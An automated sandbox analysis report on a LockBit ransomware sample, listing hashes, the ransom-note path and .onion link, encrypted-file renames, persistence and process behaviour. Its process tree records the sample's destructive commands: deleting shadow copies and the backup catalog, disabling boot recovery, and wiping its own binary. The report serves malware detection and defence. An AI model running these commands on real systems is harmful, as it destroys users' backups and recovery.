Analysis
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max time kernel
99s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
04-05-2022 15:41
Static task
static1
Behavioral task
behavioral1
Sample
ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe
Resource
win10v2004-20220414-en
General
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Target
ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe
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Size
546KB
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MD5
e4179bca5bf5b1fd51172d629f5521f8
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SHA1
488e532e55100da68eaeee30ba342cc05810e296
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SHA256
ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75
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SHA512
9370d3a2b8d118de6396909b0ca3c1e62e374020ddb0c8a94713f0b596391f20008797509abf300f2241327fe1bfa3338623a56b9be55bd013b6b56e26430035
Malware Config
Extracted
C:\odt\Restore-My-Files.txt
lockbit
http://lockbitks2tvnmwk.onion/?92727EE520AEBC7DB1078D09CA0FAD57
Signatures
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Lockbit
Ransomware family with multiple variants released since late 2019.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 2728 bcdedit.exe 3616 bcdedit.exe -
Processes:
wbadmin.exepid process 4496 wbadmin.exe -
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
vbc.exedescription ioc process File renamed C:\Users\Admin\Pictures\SkipConvertFrom.crw => C:\Users\Admin\Pictures\SkipConvertFrom.crw.lockbit vbc.exe File renamed C:\Users\Admin\Pictures\UnprotectProtect.png => C:\Users\Admin\Pictures\UnprotectProtect.png.lockbit vbc.exe File renamed C:\Users\Admin\Pictures\WriteRestart.crw => C:\Users\Admin\Pictures\WriteRestart.crw.lockbit vbc.exe File renamed C:\Users\Admin\Pictures\BackupClose.png => C:\Users\Admin\Pictures\BackupClose.png.lockbit vbc.exe File renamed C:\Users\Admin\Pictures\DebugProtect.crw => C:\Users\Admin\Pictures\DebugProtect.crw.lockbit vbc.exe File renamed C:\Users\Admin\Pictures\ResumeGroup.png => C:\Users\Admin\Pictures\ResumeGroup.png.lockbit vbc.exe -
Uses the VBS compiler for execution 1 TTPs
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Adds Run key to start application 2 TTPs 2 IoCs
Processes:
vbc.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vbc.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01 = "\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe\"" vbc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
vbc.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\126F.tmp.bmp" vbc.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
Processes:
vbc.exepid process 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe 916 vbc.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exedescription pid process target process PID 1980 set thread context of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe -
Drops file in Program Files directory 64 IoCs
Processes:
vbc.exedescription ioc process File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\dnsns.jar vbc.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_OEM_Perp-ppd.xrm-ms vbc.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentVNextR_Trial-ppd.xrm-ms vbc.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-100.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\contrast-white\MedTile.scale-400_contrast-white.png vbc.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nb-no\Restore-My-Files.txt vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugin.js vbc.exe File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_Mocking.help.txt vbc.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo vbc.exe File created C:\Program Files\Windows Media Player\ja-JP\Restore-My-Files.txt vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\ReactAssets\assets\RNApp\app\uwp\images\skypex-icon-white.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.contrast-white_targetsize-30.png vbc.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\ja-jp\Restore-My-Files.txt vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\plugin.js vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\et_get.svg vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.targetsize-96_contrast-white.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Assets\AppTiles\StoreAppList.targetsize-256_altform-lightunplated.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AlbumMediumTile.scale-100.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageStoreLogo.scale-400.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Xbox.TCUI_1.23.28002.0_x64__8wekyb3d8bbwe\Assets\AppSplashScreen.png vbc.exe File created C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\Restore-My-Files.txt vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\new_icons.png vbc.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark.css vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\Assets\contrast-black\PeopleAppList.targetsize-256_altform-unplated.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\contrast-black\SplashScreen.scale-125_contrast-black.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxManifest.xml vbc.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ja-jp\Restore-My-Files.txt vbc.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_48.49.31001.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\GamesXboxHubAppList.scale-125.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.27323.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat vbc.exe File created C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\Restore-My-Files.txt vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\159.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\CalculatorWideTile.contrast-black_scale-100.png vbc.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailBadge.scale-150.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\AppIcon.targetsize-256_altform-unplated.png vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-ma\ui-strings.js vbc.exe File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagementSource\de-DE\MSFT_PackageManagementSource.strings.psd1 vbc.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20140827-1444.jar vbc.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageMedTile.scale-100_contrast-white.png vbc.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsStore_11910.1002.5.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\StoreMedTile.scale-100.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\Weather_SplashScreen.scale-100.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Services.Store.Engagement_10.0.18101.0_x64__8wekyb3d8bbwe\Microsoft.Services.Store.Engagement.winmd vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\Images\SuggestionsService\PushpinLight.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.contrast-black_scale-100.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\contrast-black\iheart-radio.scale-200_contrast-black.png vbc.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Word2019R_Grace-ul-oob.xrm-ms vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-ui-theme.css vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons2x.png vbc.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-selector-ui.xml vbc.exe File opened for modification C:\Program Files\Windows Media Player\en-US\wmlaunch.exe.mui vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-96_altform-unplated_contrast-white.png vbc.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-24_altform-unplated.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\ScreenSketchSquare71x71Logo.scale-100_contrast-white.png vbc.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-nodes.xml vbc.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\OneNoteR_OEM_Perp-ul-phn.xrm-ms vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Place\contrast-black\SmallTile.scale-100.png vbc.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019VL_KMS_Client_AE-ul.xrm-ms vbc.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarBadge.scale-150.png vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_2x.png vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\sl-si\ui-strings.js vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\progress.gif vbc.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\it-it\ui-strings.js vbc.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-140.png vbc.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageWideTile.scale-150_contrast-black.png vbc.exe -
Drops file in Windows directory 1 IoCs
Processes:
fsutil.exedescription ioc process File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe fsutil.exe -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
vds.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 4972 vssadmin.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
vbc.exepid process 916 vbc.exe 916 vbc.exe -
Suspicious use of AdjustPrivilegeToken 50 IoCs
Processes:
vbc.exevssvc.exeWMIC.exewbengine.exedescription pid process Token: SeTakeOwnershipPrivilege 916 vbc.exe Token: SeDebugPrivilege 916 vbc.exe Token: SeBackupPrivilege 3860 vssvc.exe Token: SeRestorePrivilege 3860 vssvc.exe Token: SeAuditPrivilege 3860 vssvc.exe Token: SeIncreaseQuotaPrivilege 4092 WMIC.exe Token: SeSecurityPrivilege 4092 WMIC.exe Token: SeTakeOwnershipPrivilege 4092 WMIC.exe Token: SeLoadDriverPrivilege 4092 WMIC.exe Token: SeSystemProfilePrivilege 4092 WMIC.exe Token: SeSystemtimePrivilege 4092 WMIC.exe Token: SeProfSingleProcessPrivilege 4092 WMIC.exe Token: SeIncBasePriorityPrivilege 4092 WMIC.exe Token: SeCreatePagefilePrivilege 4092 WMIC.exe Token: SeBackupPrivilege 4092 WMIC.exe Token: SeRestorePrivilege 4092 WMIC.exe Token: SeShutdownPrivilege 4092 WMIC.exe Token: SeDebugPrivilege 4092 WMIC.exe Token: SeSystemEnvironmentPrivilege 4092 WMIC.exe Token: SeRemoteShutdownPrivilege 4092 WMIC.exe Token: SeUndockPrivilege 4092 WMIC.exe Token: SeManageVolumePrivilege 4092 WMIC.exe Token: 33 4092 WMIC.exe Token: 34 4092 WMIC.exe Token: 35 4092 WMIC.exe Token: 36 4092 WMIC.exe Token: SeIncreaseQuotaPrivilege 4092 WMIC.exe Token: SeSecurityPrivilege 4092 WMIC.exe Token: SeTakeOwnershipPrivilege 4092 WMIC.exe Token: SeLoadDriverPrivilege 4092 WMIC.exe Token: SeSystemProfilePrivilege 4092 WMIC.exe Token: SeSystemtimePrivilege 4092 WMIC.exe Token: SeProfSingleProcessPrivilege 4092 WMIC.exe Token: SeIncBasePriorityPrivilege 4092 WMIC.exe Token: SeCreatePagefilePrivilege 4092 WMIC.exe Token: SeBackupPrivilege 4092 WMIC.exe Token: SeRestorePrivilege 4092 WMIC.exe Token: SeShutdownPrivilege 4092 WMIC.exe Token: SeDebugPrivilege 4092 WMIC.exe Token: SeSystemEnvironmentPrivilege 4092 WMIC.exe Token: SeRemoteShutdownPrivilege 4092 WMIC.exe Token: SeUndockPrivilege 4092 WMIC.exe Token: SeManageVolumePrivilege 4092 WMIC.exe Token: 33 4092 WMIC.exe Token: 34 4092 WMIC.exe Token: 35 4092 WMIC.exe Token: 36 4092 WMIC.exe Token: SeBackupPrivilege 4484 wbengine.exe Token: SeRestorePrivilege 4484 wbengine.exe Token: SeSecurityPrivilege 4484 wbengine.exe -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exevbc.execmd.execmd.exedescription pid process target process PID 1980 wrote to memory of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe PID 1980 wrote to memory of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe PID 1980 wrote to memory of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe PID 1980 wrote to memory of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe PID 1980 wrote to memory of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe PID 1980 wrote to memory of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe PID 1980 wrote to memory of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe PID 1980 wrote to memory of 916 1980 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe vbc.exe PID 916 wrote to memory of 4864 916 vbc.exe cmd.exe PID 916 wrote to memory of 4864 916 vbc.exe cmd.exe PID 4864 wrote to memory of 4972 4864 cmd.exe vssadmin.exe PID 4864 wrote to memory of 4972 4864 cmd.exe vssadmin.exe PID 4864 wrote to memory of 4092 4864 cmd.exe WMIC.exe PID 4864 wrote to memory of 4092 4864 cmd.exe WMIC.exe PID 4864 wrote to memory of 2728 4864 cmd.exe bcdedit.exe PID 4864 wrote to memory of 2728 4864 cmd.exe bcdedit.exe PID 4864 wrote to memory of 3616 4864 cmd.exe bcdedit.exe PID 4864 wrote to memory of 3616 4864 cmd.exe bcdedit.exe PID 4864 wrote to memory of 4496 4864 cmd.exe wbadmin.exe PID 4864 wrote to memory of 4496 4864 cmd.exe wbadmin.exe PID 916 wrote to memory of 4040 916 vbc.exe cmd.exe PID 916 wrote to memory of 4040 916 vbc.exe cmd.exe PID 916 wrote to memory of 4040 916 vbc.exe cmd.exe PID 4040 wrote to memory of 728 4040 cmd.exe PING.EXE PID 4040 wrote to memory of 728 4040 cmd.exe PING.EXE PID 4040 wrote to memory of 728 4040 cmd.exe PING.EXE PID 4040 wrote to memory of 2004 4040 cmd.exe fsutil.exe PID 4040 wrote to memory of 2004 4040 cmd.exe fsutil.exe PID 4040 wrote to memory of 2004 4040 cmd.exe fsutil.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe"C:\Users\Admin\AppData\Local\Temp\ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe2⤵
- Modifies extensions of user files
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" & Del /f /q "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 34⤵
- Runs ping.exe
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C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"4⤵
- Drops file in Windows directory
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/728-143-0x0000000000000000-mapping.dmp
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memory/916-131-0x0000000000000000-mapping.dmp
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memory/916-132-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
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memory/916-134-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
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memory/916-135-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
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memory/1980-130-0x0000000074E80000-0x0000000075431000-memory.dmpFilesize
5.7MB
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memory/2004-144-0x0000000000000000-mapping.dmp
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memory/2728-139-0x0000000000000000-mapping.dmp
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memory/3616-140-0x0000000000000000-mapping.dmp
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memory/4040-142-0x0000000000000000-mapping.dmp
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memory/4092-138-0x0000000000000000-mapping.dmp
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memory/4496-141-0x0000000000000000-mapping.dmp
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memory/4864-136-0x0000000000000000-mapping.dmp
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memory/4972-137-0x0000000000000000-mapping.dmp